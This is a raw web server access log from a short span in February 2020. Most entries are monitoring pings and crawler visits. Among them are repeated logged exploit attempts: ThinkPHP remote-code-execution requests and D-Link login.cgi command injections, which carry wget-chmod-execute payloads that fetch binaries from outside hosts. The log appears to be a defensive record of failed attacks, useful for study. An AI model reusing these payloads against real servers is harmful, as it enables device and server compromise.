212.91.246.72 - - [15/Feb/2020:16:14:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.32.176.106 - - [15/Feb/2020:16:15:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [15/Feb/2020:16:15:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:16:16:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:16:17:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.248.2.197 - - [15/Feb/2020:16:18:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
81.248.2.197 - - [15/Feb/2020:16:18:10 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [15/Feb/2020:16:18:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:16:19:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:16:20:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:16:21:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:16:22:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:16:23:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.137.93.4 - - [15/Feb/2020:16:24:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [15/Feb/2020:16:24:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
162.210.196.98 - - [15/Feb/2020:16:24:59 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)"
162.210.196.98 - - [15/Feb/2020:16:25:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)"
212.91.246.72 - - [15/Feb/2020:16:25:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:16:26:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
65.99.152.25 - - [15/Feb/2020:16:27:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [15/Feb/2020:16:27:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:16:28:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:16:29:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.238.155.12 - - [15/Feb/2020:16:30:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [15/Feb/2020:16:30:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:16:31:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.79.78.40 - - [15/Feb/2020:16:32:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [15/Feb/2020:16:32:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
221.192.134.90 - - [15/Feb/2020:16:33:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "okhttp/3.6.0"
200.2.175.42 - - [15/Feb/2020:16:33:28 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [15/Feb/2020:16:33:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.93.36.119 - - [15/Feb/2020:16:34:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
134.209.241.87 - - [15/Feb/2020:16:34:29 +0100] "GET /wp-login.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
212.91.246.72 - - [15/Feb/2020:16:34:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:16:35:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:16:36:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:16:37:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:16:38:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:16:39:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:16:40:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:16:41:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:16:42:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:16:43:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:16:44:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:16:45:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:16:46:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:16:47:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:16:48:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
217.61.136.134 - - [15/Feb/2020:16:49:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [15/Feb/2020:16:49:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.216.245.215 - - [15/Feb/2020:16:50:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [15/Feb/2020:16:50:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:16:51:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:16:52:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:16:53:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:16:54:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:16:55:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:16:56:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:16:57:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
186.79.159.201 - - [15/Feb/2020:16:58:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [15/Feb/2020:16:58:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:16:59:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:17:00:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:17:01:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
73.33.112.155 - - [15/Feb/2020:17:01:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
180.246.27.155 - - [15/Feb/2020:17:02:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [15/Feb/2020:17:02:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:17:03:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:17:04:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.94.121.152 - - [15/Feb/2020:17:05:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [15/Feb/2020:17:05:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
64.246.165.210 - - [15/Feb/2020:17:06:10 +0100] "GET /robots.txt HTTP/1.0" 404 320 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:59.0) Gecko/20100101 Firefox/59.0"
64.246.165.210 - - [15/Feb/2020:17:06:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:59.0) Gecko/20100101 Firefox/59.0"
68.183.49.2 - - [15/Feb/2020:17:06:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [15/Feb/2020:17:06:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:17:07:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:17:08:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:17:09:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:17:10:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.21.102.247 - - [15/Feb/2020:17:11:17 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [15/Feb/2020:17:11:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.55.40.133 - - [15/Feb/2020:17:11:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Xenu Link Sleuth/1.3.8"
212.91.246.72 - - [15/Feb/2020:17:12:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:17:13:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:17:14:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:17:15:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:17:16:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:17:17:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:17:18:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:17:19:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:17:20:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:17:21:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:17:22:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
208.91.109.116 - - [15/Feb/2020:17:22:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [15/Feb/2020:17:23:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:17:24:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:17:25:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:17:26:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:17:27:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.244.98.68 - - [15/Feb/2020:17:28:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [15/Feb/2020:17:28:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:17:29:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:17:30:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:17:31:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.214.19.125 - - [15/Feb/2020:17:32:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [15/Feb/2020:17:32:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:17:33:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:17:34:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.105.27.14 - - [15/Feb/2020:17:34:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [15/Feb/2020:17:34:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [15/Feb/2020:17:35:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [15/Feb/2020:17:35:14 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [15/Feb/2020:17:35:38 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [15/Feb/2020:17:35:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:17:36:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:17:37:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:17:38:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.126.2.73 - - [15/Feb/2020:17:39:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [15/Feb/2020:17:39:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:17:40:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:17:41:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:17:42:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:17:43:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
68.183.49.2 - - [15/Feb/2020:17:43:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
176.163.131.89 - - [15/Feb/2020:17:44:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
34.92.44.26 - - [15/Feb/2020:17:44:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
176.163.131.89 - - [15/Feb/2020:17:44:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [15/Feb/2020:17:44:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.11.136.81 - - [15/Feb/2020:17:45:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [15/Feb/2020:17:45:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.203.1.24 - - [15/Feb/2020:17:46:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
64.246.165.180 - - [15/Feb/2020:17:46:40 +0100] "GET /robots.txt HTTP/1.0" 404 327 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:59.0) Gecko/20100101 Firefox/59.0"
64.246.165.180 - - [15/Feb/2020:17:46:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:59.0) Gecko/20100101 Firefox/59.0"
212.91.246.72 - - [15/Feb/2020:17:46:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:17:47:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.138.4.105 - - [15/Feb/2020:17:48:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
79.167.113.74 - - [15/Feb/2020:17:48:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [15/Feb/2020:17:48:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.236.76.95 - - [15/Feb/2020:17:48:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [15/Feb/2020:17:49:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
